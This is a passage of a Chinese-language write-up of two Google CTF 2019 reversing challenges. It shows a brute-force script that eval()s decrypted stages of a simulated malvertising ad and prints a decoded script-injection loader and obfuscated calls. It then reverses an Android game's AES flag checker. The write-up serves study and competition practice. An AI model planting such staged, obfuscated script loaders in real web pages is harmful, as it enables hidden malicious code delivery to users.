       <span class="keyword">for</span>(w = <span class="number">0</span>; w &lt; <span class="number">4</span>; w++)&#123;<span class="comment">//navigator.plugins.length</span></span><br><span class="line">                                                                s15 = s14 + w</span><br><span class="line">                                                                <span class="keyword">try</span> &#123;</span><br><span class="line">                                                                    <span class="comment">// console.log(s15)</span></span><br><span class="line">                                                                    <span class="comment">// if(s15 == &quot;LINUX10000FR1000000MOZILLA000&quot;)&#123;</span></span><br><span class="line">                                                                        <span class="variable language_">console</span>.<span class="title function_">log</span>(T.<span class="title function_">d0</span>(a, s15).<span class="title function_">toString</span>(<span class="string">&quot;utf8&quot;</span>));</span><br><span class="line">                                                                        <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="string">&quot;\nand now the answer is :\n&quot;</span>)</span><br><span class="line">                                                                        <span class="comment">// console.log(T.d0(a, &quot;LINUX11000FR1000000MOZILLA000&quot;))</span></span><br><span class="line">                                                                        <span class="variable language_">console</span>.<span class="title function_">log</span>(<span class="built_in">eval</span>(T.<span class="title function_">d0</span>(a, s15)).<span class="title function_">toString</span>())</span><br><span class="line">                                                                    <span class="comment">// &#125;</span></span><br><span class="line">                                                                    <span class="comment">// console.log(&quot;success&quot;)</span></span><br><span class="line">                                                                    <span class="comment">// return </span></span><br><span class="line">                                                                &#125; <span class="keyword">catch</span> (error) &#123;</span><br><span class="line">                                                                    <span class="variable language_">console</span>.<span class="title function_">log</span>(error)</span><br><span class="line">                                                                &#125;</span><br><span class="line">                                                            &#125;</span><br><span class="line">                                                        &#125;</span><br><span class="line">                                                    &#125;</span><br><span class="line">                                                &#125;</span><br><span class="line">                                            &#125;</span><br><span class="line">                                        &#125;</span><br><span class="line">                                    &#125;</span><br><span class="line">                                &#125;</span><br><span class="line">                            &#125;</span><br><span class="line">                        &#125;</span><br><span class="line">                    &#125;</span><br><span class="line">                &#125;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>但是最后还是爆不出答案…结果知道比赛结束都没能做出来。之后仔细检查了逻辑，发现其实是比赛给的<code>btoa</code>实现有问题！<a href="https://github.com/EmpireCTF/empirectf/tree/master/writeups/2019-06-22-Google-CTF-Quals#140-reversing--malvertising">这里的哥们也提到了这个问题</a>。我重新用<code>npm</code>下载了一个数据包，然后再次爆破，终于能够找到可见字符:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">and now the answer is :</span><br><span class="line"></span><br><span class="line">ReferenceError: document is not defined</span><br><span class="line">    at eval (eval at main_func (D:\Daily\Competition\Google\2019\Reverse\Youtube_files\burce.js:157:85), &lt;anonymous&gt;:1:11)</span><br><span class="line">    at main_func (D:\Daily\Competition\Google\2019\Reverse\Youtube_files\burce.js:157:85)</span><br><span class="line">    at Object.&lt;anonymous&gt; (D:\Daily\Competition\Google\2019\Reverse\Youtube_files\burce.js:188:1)</span><br><span class="line">    at Module._compile (internal/modules/cjs/loader.js:776:30)</span><br><span class="line">    at Object.Module._extensions..js (internal/modules/cjs/loader.js:787:10)</span><br><span class="line">    at Module.load (internal/modules/cjs/loader.js:653:32)</span><br><span class="line">    at tryModuleLoad (internal/modules/cjs/loader.js:593:12)</span><br><span class="line">    at Function.Module._load (internal/modules/cjs/loader.js:585:3)</span><br><span class="line">    at Function.Module.runMain (internal/modules/cjs/loader.js:829:12)</span><br><span class="line">    at startup (internal/bootstrap/node.js:283:19)</span><br><span class="line"></span><br><span class="line">var dJs = document.createElement(&#x27;script&#x27;); dJs.setAttribute(&#x27;src&#x27;,&#x27;./src/npoTHyBXnpZWgLorNrYc.js&#x27;); document.head.appendChild(dJs);    </span><br></pre></td></tr></table></figure><p>于是赶紧去找到了这个文件</p><h3 id="stage3">Stage3</h3><p>这个文件里面也使用了和<strong>Stage1</strong>中类似的算法，并且这一次上了反调试，如果使用调试器的话，会陷入一个死循环中出不来，而直接运行脚本，又会有如下的错误（我看网上的wp似乎没遇到这个问题。。）<br><img src="/2019/07/29/GoogleCTF-2019/wp03.png" alt=""><br>考虑到隐藏的内容可能包含了答案，于是简单逆向，找到了加密算法<code>_0x5877</code>，并且写了一个小jio本把里面所有调用的函数都捞了出来:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line">_0x5877(&quot;0x0&quot;, &quot;fYVo&quot;) !== &quot;csEBi&quot;)</span><br><span class="line">_0x5877(&quot;0x1&quot;, &quot;cw[y&quot;)</span><br><span class="line">_0x5877(&quot;0x2&quot;, &quot;R2OT&quot;) !== _0x5877(&quot;0x3&quot;, &quot;WlSm&quot;)</span><br><span class="line">_0x5877(&quot;0x4&quot;, &quot;adOx&quot;)</span><br><span class="line">_0x5877(&quot;0x5&quot;, &quot;R2OT&quot;), &quot;i&quot;)</span><br><span class="line">_0x5877(&quot;0x6&quot;, &quot;5&amp;eh&quot;)</span><br><span class="line">_0x5877(&quot;0x7&quot;, &quot;aLUv&quot;)) || !n[_0x5877(&quot;0x8&quot;, &quot;5&amp;eh&quot;)](f + _0x5877(&quot;0x9&quot;, &quot;F(E#&quot;)</span><br><span class="line">_0x5877(&quot;0xa&quot;, &quot;Q&amp;C3&quot;) === _0x5877(&quot;0xb&quot;, &quot;QwV5&quot;)</span><br><span class="line">_0x5877(&quot;0xc&quot;, &quot;E7P9&quot;) !== _0x5877(&quot;0xd&quot;, &quot;E7O$&quot;)</span><br><span class="line">_0x5877(&quot;0xe&quot;, &quot;w(zO&quot;)</span><br><span class="line">_0x5877(&quot;0xf&quot;, &quot;iOa(&quot;)] || ifr[_0x5877(&quot;0x10&quot;, &quot;dC5K&quot;)</span><br><span class="line">_0x5877(&quot;0x11&quot;, &quot;h#9[&quot;)</span><br><span class="line">_0x5877(&quot;0x12&quot;, &quot;dC5K&quot;) === _0x5877(&quot;0x13&quot;, &quot;QwV5&quot;)</span><br><span class="line">_0x5877(&quot;0x14&quot;, &quot;p1IC&quot;) === _0x5877(&quot;0x15&quot;, &quot;4Nbx&quot;)</span><br><span class="line">_0x5877(&quot;0x16&quot;, &quot;)m$x&quot;)](&quot;script&quot;)</span><br><span class="line">_0x5877(&quot;0x17&quot;, &quot;jEx@&quot;), _0x5877(&quot;0x18&quot;, &quot;L]47&quot;)</span><br><span class="line">_0x5877(&quot;0x19&quot;, &quot;ZE[y&quot;)][_0x5877(&quot;0x1a&quot;, &quot;6ql8&quot;)</span><br><span class="line">_0x5877(&quot;0x1b&quot;, &quot;KfX2&quot;)</span><br><span class="line">_0x5877(&quot;0x1c&quot;, &quot;tP$Y&quot;) === _0x5877(&quot;0x1d&quot;, &quot;adOx&quot;)</span><br><span class="line">_0x5877(&quot;0x1e&quot;, &quot;%8cb&quot;) + _0x5877(&quot;0x1f&quot;, &quot;tP$Y&quot;) + &quot;);&quot;)</span><br><span class="line">_0x5877(&quot;0x20&quot;, &quot;Q&amp;C3&quot;) !== _0x5877(&quot;0x21&quot;, &quot;%!Aa&quot;)</span><br><span class="line">_0x5877(&quot;0x22&quot;, &quot;6ql8&quot;)</span><br><span class="line">_0x5877(&quot;0x23&quot;, &quot;Q&amp;C3&quot;)</span><br></pre></td></tr></table></figure><p>一个个试了一下。。最后找到了关键的解密逻辑:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"> _0x5877(&quot;0x18&quot;, &quot;L]47&quot;)</span><br><span class="line">&quot;./src/WFmJWvYBQmZnedwpdQBU.js&quot;</span><br></pre></td></tr></table></figure><p>于是访问<a href="%E6%9C%80%E5%90%8E%E7%AD%94%E6%A1%88">https://malvertising.web.ctfcompetition.com/ads/src/WFmJWvYBQmZnedwpdQBU.js</a>，找到flag为</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">alert(&quot;CTF&#123;I-LOVE-MALVERTISING-wkJsuw&#125;&quot;)</span><br></pre></td></tr></table></figure><h2 id="flappybird">Flappybird</h2><p>许久不做Android，找一个题目来找一下手感。<br>这个题目是一个游戏题，内容如下:<br><img src="/2019/07/29/GoogleCTF-2019/wp05.png" alt=""><br>操作起来及其难受。</p><p>然后拖到工具里面查看，内容包大致如下:<br><img src="/2019/07/29/GoogleCTF-2019/wp06.png" alt=""></p><p>其中有部分内容我简单逆向了一下。里面很多的类和对象都被混淆成了abcd，简单逆向之后，大致的功能分为三类</p><ul><li>用于渲染游戏主体的部分</li><li>用于加载游戏和控制游戏的类</li><li>奇怪的Checker</li></ul><h3 id="检查加密">检查加密</h3><p>唯一的<code>Checker</code>没有被处理，并且可以在其中找到一个native方法：</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line"><span class="keyword">class</span> <span class="title class_">Checker</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="type">byte</span>[] hash;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="type">byte</span>[] IV;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="type">byte</span>[] Data;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">static</span> &#123;</span><br><span class="line">        Checker.hash = <span class="keyword">new</span> <span class="title class_">byte</span>[]&#123;<span class="number">46</span>, <span class="number">50</span>, <span class="number">92</span>, -<span class="number">111</span>, -<span class="number">55</span>, <span class="number">20</span>, <span class="number">120</span>, -<span class="number">77</span>, <span class="number">92</span>, <span class="number">46</span>, <span class="number">12</span>, -<span class="number">74</span>, <span class="number">91</span>, <span class="number">120</span>, <span class="number">81</span>, -<span class="number">58</span>, -<span class="number">6</span>, -<span class="number">104</span>, -<span class="number">123</span>, <span class="number">90</span>, <span class="number">0x77</span>, -<span class="number">61</span>, -<span class="number">65</span>, -<span class="number">45</span>, -<span class="number">16</span>, <span class="number">8</span>, <span class="number">0x40</span>, -<span class="number">68</span>, -<span class="number">103</span>, -<span class="number">84</span>, -<span class="number">30</span>, <span class="number">107</span>&#125;;</span><br><span class="line">        Checker.IV = <span class="keyword">new</span> <span class="title class_">byte</span>[]&#123;-<span class="number">30</span>, <span class="number">1</span>, <span class="number">9</span>, -<span class="number">29</span>, -<span class="number">92</span>, <span class="number">104</span>, -<span class="number">52</span>, -<span class="number">82</span>, <span class="number">42</span>, -<span class="number">116</span>, <span class="number">1</span>, -<span class="number">58</span>, <span class="number">92</span>, -<span class="number">56</span>, -<span class="number">25</span>, <span class="number">62</span>&#125;;</span><br><span class="line">        Checker.Data = <span class="keyword">new</span> <span class="title class_">byte</span>[]&#123;-<span class="number">113</span>, -<span class="number">47</span>, -<span class="number">15</span>, <span class="number">105</span>, -<span class="number">18</span>, <span class="number">14</span>, -<span class="number">118</span>, <span class="number">0x7A</span>, <span class="number">103</span>, <span class="number">93</span>, <span class="number">120</span>, <span class="number">70</span>, -<span class="number">36</span>, -<span class="number">82</span>, <span class="number">109</span>, <span class="number">0x71</span>, <span class="number">36</span><span class="comment">// 省略一些内容;</span></span><br><span class="line">    &#125;</span><br><span class="line">    Checker() &#123;</span><br><span class="line">        <span class="built_in">super</span>();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">private</span> <span class="type">byte</span>[] DecryptData(<span class="type">byte</span>[] key, <span class="type">byte</span>[] data) &#123;</span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            <span class="type">IvParameterSpec</span> <span class="variable">v0</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">IvParameterSpec</span>(Checker.IV);</span><br><span class="line">            <span class="type">SecretKeySpec</span> <span class="variable">v1</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">SecretKeySpec</span>(key, <span class="string">&quot;AES&quot;</span>);</span><br><span class="line">            <span class="type">Cipher</span> <span class="variable">v4</span> <span class="operator">=</span> Cipher.getInstance(<span class="string">&quot;AES/CBC/PKCS5PADDING&quot;</span>);</span><br><span class="line">            v4.init(<span class="number">2</span>, ((Key)v1), ((AlgorithmParameterSpec)v0));</span><br><span class="line">            <span class="keyword">return</span> v4.doFinal(data);</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">catch</span>(Exception ) &#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">null</span>;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="type">byte</span>[] CheckAndDecrypt(<span class="type">byte</span>[] key) &#123;</span><br><span class="line">        <span class="keyword">if</span>(<span class="built_in">this</span>.nativeCheck(key)) &#123;</span><br><span class="line">            <span class="keyword">try</span> &#123;</span><br><span class="line">                <span class="keyword">if</span>(Arrays.equals(MessageDigest.getInstance(<span class="string">&quot;SHA-256&quot;</span>).digest(key), Checker.hash)) &#123;</span><br><span class="line">                    <span class="keyword">return</span> <span class="built_in">this</span>.DecryptData(key, Checker.Data);</span><br><span class="line">                &#125;</span><br><span class="line"></span><br><span class="line">                <span class="keyword">return</span> <span class="literal">null</span>;</span><br><span class="line">            &#125;</span><br><span class="line">            <span class="keyword">catch</span>(Exception ) &#123;</span><br><span class="line">                <span class="keyword">return</span> <span class="literal">null</span>;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">return</span> <span class="literal">null</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">native</span> <span class="type">boolean</span> <span class="title function_">nativeCheck</span><span class="params">(<span class="type">byte</span>[] arg1)</span> &#123;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>这个checker中调用的<code>checkAndDecrypt</code>方法最后会被一个如下的方法调用:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">void</span> <span class="title function_">ShowSecret</span><span class="params">()</span> &#123;  <span class="comment">// [import]check</span></span><br><span class="line">     <span class="type">byte</span>[] message = <span class="keyword">new</span> <span class="title class_">byte</span>[<span class="number">0x20</span>];</span><br><span class="line">     <span class="type">int</span> i;</span><br><span class="line">     <span class="keyword">for</span>(i = <span class="number">0</span>; i &lt; <span class="built_in">this</span>.egg_place.length; ++i) &#123;</span><br><span class="line">         <span class="type">int</span> j;</span><br><span class="line">         <span class="keyword">for</span>(j = <span class="number">0</span>; j &lt; g_map.egg_lists.length; ++j) &#123;</span><br><span class="line">             <span class="keyword">if</span>(<span class="built_in">this</span>.egg_place[i] == g_map.egg_lists[j]) &#123;  <span class="comment">// [import]check</span></span><br><span class="line">                 message[i] = ((<span class="type">byte</span>)j);</span><br><span class="line">             &#125;</span><br><span class="line">         &#125;</span><br><span class="line">     &#125;</span><br><span class="line"></span><br><span class="line">     message = <span class="keyword">new</span> <span class="title class_">Checker</span>().CheckAndDecrypt(message);</span><br><span class="line">     <span class="keyword">if</span>(message != <span class="literal">null</span>) &#123;</span><br><span class="line">         <span class="keyword">try</span> &#123;</span><br><span class="line">             <span class="built_in">this</span>.level = <span class="number">0</span>;</span><br><span class="line">             <span class="built_in">this</span>.CallMessageToGenerateMap(message);</span><br><span class="line">         &#125;</span><br><span class="line">         <span class="keyword">catch</span>(IOException ) &#123;</span><br><span class="line">         &#125;</span><br><span class="line">     &#125;</span><br><span class="line">     <span class="keyword">else</span> &#123;</span><br><span class="line">         <span class="built_in">this</span>.g.a(<span class="string">&quot;Close, but no cigar.&quot;</span>);</span><br><span class="line">     &#125;</span><br><span class="line"> &#125;</span><br></pre></td></tr></table></figure><p>简单来说，就是解密后的数据会被传入<code>CallMessageToGenerateMap</code>，当成地图程序处理，然后会被渲染到当前的程序中。但是下载游戏后发现，并没有可以进行输入的地方（至少前两关是没有的）</p><h3 id="寻找交互点">寻找交互点</h3><p>这就很奇怪了，一般来说rev不会没有交互就直接退出的（不然的话就不是reverse了）。不过有一个地方说明了程序是存在一个可以与用户交互的地方的:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">byte</span>[] message = <span class="keyword">new</span> <span class="title class_">byte</span>[<span class="number">0x20</span>];</span><br><span class="line"><span class="type">int</span> i;</span><br><span class="line"><span class="keyword">for</span>(i = <span class="number">0</span>; i &lt; <span class="built_in">this</span>.egg_place.length; ++i) &#123;</span><br><span class="line">    <span class="type">int</span> j;</span><br><span class="line">    <span class="keyword">for</span>(j = <span class="number">0</span>; j &lt; g_map.egg_lists.length; ++j) &#123;</span><br><span class="line">        <span class="keyword">if</span>(<span class="built_in">this</span>.egg_place[i] == g_map.egg_lists[j]) &#123;  <span class="comment">// [import]check</span></span><br><span class="line">            message[i] = ((<span class="type">byte</span>)j);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">message = <span class="keyword">new</span> <span class="title class_">Checker</span>().CheckAndDecrypt(message);</span><br></pre></td></tr></table></figure><p>这里可以发现，解密用的message是由程序自己生成的，也就是说程序还是给了一个可以交互的地方，让用户通过与程序交互，使得<code>egg_place</code>与<code>egg_lists</code>里面的数据能够相等。这里的<code>egg_lists</code>是一开始就确定了的:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line"><span class="keyword">static</span> &#123;</span><br><span class="line">    g_map.egg_lists = <span class="keyword">new</span> <span class="title class_">Enum_Res</span>[]&#123;Enum_Res.Egg_0,....&#125;;  <span class="comment">// 生成egg_list</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>所以，我们可以关注一下<code>egg_place</code>的发生赋值的位置。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 首先是初始化的位置</span></span><br><span class="line">CallMessageToGenerateMap()</span><br><span class="line">&#123;</span><br><span class="line">    <span class="comment">// 这个位置的话是初始化了所有的egg</span></span><br><span class="line">    <span class="built_in">this</span>.egg_places = <span class="keyword">new</span> <span class="title class_">Enum_Res</span>[<span class="built_in">this</span>.egg_number];</span><br><span class="line">    <span class="keyword">while</span>(egg_resource &lt; <span class="built_in">this</span>.egg_places.length) &#123;</span><br><span class="line">    <span class="built_in">this</span>.egg_places[egg_resource] = Enum_Res.Egg_0;  <span class="comment">// 如果有超过16个egg_holder，那么剩下的位置全部换成egg_0</span></span><br><span class="line">    ++egg_resource;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>可以看到，初始化的时候会根据<code>egg_number</code>的数量进行初始化。也就是说只有<strong>当前地图中存在egg_holder，才至少有一个egg会被初始化</strong><br>然后还有一个赋值函数:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 然后是官方钦定的赋值函数</span></span><br><span class="line">    <span class="keyword">void</span> <span class="title function_">GetEgg</span><span class="params">(<span class="type">int</span> now_egg_index, <span class="type">int</span> egg_type)</span> &#123;</span><br><span class="line">        <span class="built_in">this</span>.egg_places[now_egg_index] = g_map.egg_lists[egg_type];</span><br><span class="line">        <span class="type">int</span> <span class="variable">v1</span> <span class="operator">=</span> -<span class="number">1</span>;</span><br><span class="line">        <span class="type">int</span> <span class="variable">tmp_egg_type</span> <span class="operator">=</span> <span class="number">0</span>;</span><br><span class="line">        <span class="type">int</span> <span class="variable">now_egg_type</span> <span class="operator">=</span> -<span class="number">1</span>;</span><br><span class="line">        <span class="keyword">while</span>(tmp_egg_type &lt; <span class="built_in">this</span>.recently_egg_place.size()) &#123;</span><br><span class="line">            <span class="keyword">if</span>(<span class="built_in">this</span>.recently_egg_place.get(tmp_egg_type).intValue() == now_egg_index) &#123;</span><br><span class="line">                <span class="keyword">if</span>(egg_type != <span class="number">0</span>) &#123;</span><br><span class="line">                    <span class="keyword">return</span>;</span><br><span class="line">                &#125;</span><br><span class="line">                <span class="keyword">else</span> &#123;</span><br><span class="line">                    now_egg_type = tmp_egg_type;  <span class="comment">// 找到当前的egg_type</span></span><br><span class="line">                &#125;</span><br><span class="line">            &#125;</span><br><span class="line"></span><br><span class="line">            ++tmp_egg_type;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span>(now_egg_type != v1) &#123;</span><br><span class="line">            <span class="built_in">this</span>.recently_egg_place.remove(now_egg_type);</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span>(egg_type == <span class="number">0</span>) &#123;</span><br><span class="line">            <span class="keyword">return</span>;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="built_in">this</span>.recently_egg_place.add(Integer.valueOf(now_egg_index));</span><br><span class="line">        <span class="keyword">if</span>(<span class="built_in">this</span>.recently_egg_place.size() &gt; <span class="number">15</span>) &#123;</span><br><span class="line">            <span class="built_in">this</span>.egg_places[<span class="built_in">this</span>.recently_egg_place.remove(<span class="number">0</span>).intValue()] = Enum_Res.Egg_0;  <span class="comment">// 去除当前的下标，设置为egg_0</span></span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br></pre></td></tr></table></figure><p>赋值函数<code>GetEgg</code>中，会将当前存储了egg类型的<code>egg_lists</code>中对应的egg放到<code>egg_places</code>中，并且从存放了最近操作的egg类型的<code>recently_egg_place</code>中移除。其中的两个变量主要含义为：</p><ul><li><code>egg_places_index</code>记录了最近放了egg的egg_holder的下标</li><li><code>egg_places</code>记录了每一个egg_holder中放入的egg的种类</li></ul><p>整个函数的实际作用就是：虽然存在32个<code>egg_places</code>，但是只有最先操作的16个<code>egg_places</code>能够存放非<code>Egg_0</code>种类的egg。</p><p>理清上面两个点之后，就能够知道让当前的程序吐出解密后地图的逻辑为：</p><ul><li>进入带有<code>egg_holder</code>的关卡</li><li>发生交互，让<code>egg_places</code>中存放的egg与<code>egg_lists</code>中相等</li><li>发生解密</li></ul><p>这里的<code>egg_lists</code>中存放的egg是在一开始被初始化的<code>egg_0~egg_15</code>。</p><h3 id="资源读取">资源读取</h3><p>讲到这里，就需要提一下游戏的<code>sprite</code>的初始化过程了。整个程序用了一个被我称为<code>ResourceLoader</code>的类进行初始化处理的。对于简单的游戏来说，一般需要一些图片将简单的元素放在一起，这些元素会在程序执行的之后被切割下来作为<code>tile</code>，对应在某些由游戏本身定义好的<code>object</code>上面。这个程序也有这样的<code>tile</code>，将当前的APK解包之后，在assets目录下会发现几张图片，例如:<br><img src="/2019/07/29/GoogleCTF-2019/wp07.png" alt=""><br>仔细看会发现，这里面基本上每一个元素的大小距离都是等距的，这样就能够方便程序对每一个元素进行快速的切割。切割下来的<code>tile</code>一般会作为某一些操作元素的外壳，这个外壳就被称为<code>Sprite</code>。<br>一般来说游戏的开发中，都会有一个将<code>Sprite</code>和游戏对象的<code>physical object</code>以及部分可以操作的<code>controller</code>进行绑定的过程，在这个程序中的逻辑如下:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br></pre></td><td class="code"><pre><span class="line">    <span class="type">PhysicalControl</span> <span class="variable">MainControl</span> <span class="operator">=</span> <span class="built_in">this</span>;</span><br><span class="line">    <span class="type">g_map</span> <span class="variable">tile</span> <span class="operator">=</span> arg18;</span><br><span class="line">    <span class="built_in">super</span>();</span><br><span class="line">    MainControl.item_ = tile;</span><br><span class="line">    <span class="comment">// 加载UI的图片，准备切分成sprite</span></span><br><span class="line">    <span class="type">AllMapResource</span> <span class="variable">UI_img</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">AllMapResource</span>(ResourceLoader.loadResource.loader(<span class="string">&quot;ui.png&quot;</span>));</span><br><span class="line">    <span class="type">int</span> <span class="variable">each_button_width</span> <span class="operator">=</span> UI_img.GetSize() / <span class="number">4</span>;</span><br><span class="line">    <span class="type">int</span> <span class="variable">each_button_high</span> <span class="operator">=</span> UI_img.GetLength() / <span class="number">2</span>;</span><br><span class="line">    Graph2Object[][] buttons = Graph2Object.SplitSprite(UI_img, each_button_width, each_button_high);</span><br><span class="line">    <span class="type">int</span> <span class="variable">v12</span> <span class="operator">=</span> ResourceLoader.b.b();</span><br><span class="line">    <span class="type">int</span> <span class="variable">v13</span> <span class="operator">=</span> ResourceLoader.b.c();</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 初始化基本按钮，将sprite和对应的功能相对应</span></span><br><span class="line">    MainControl.controller = <span class="keyword">new</span> <span class="title class_">ArrayList</span>();</span><br><span class="line">    MainControl.left_button = <span class="keyword">new</span> <span class="title class_">PressPhysicalCheck</span>(buttons[<span class="number">1</span>][<span class="number">1</span>], <span class="number">16</span>, <span class="number">16</span>, each_button_width);</span><br><span class="line">    MainControl.controller.add(MainControl.left_button);</span><br><span class="line">    <span class="type">int</span> <span class="variable">j</span> <span class="operator">=</span> <span class="number">0</span>;</span><br><span class="line">    MainControl.right_button = <span class="keyword">new</span> <span class="title class_">PressPhysicalCheck</span>(buttons[<span class="number">1</span>][<span class="number">0</span>], each_button_width + <span class="number">0x20</span>, <span class="number">16</span>, each_button_width);</span><br><span class="line">    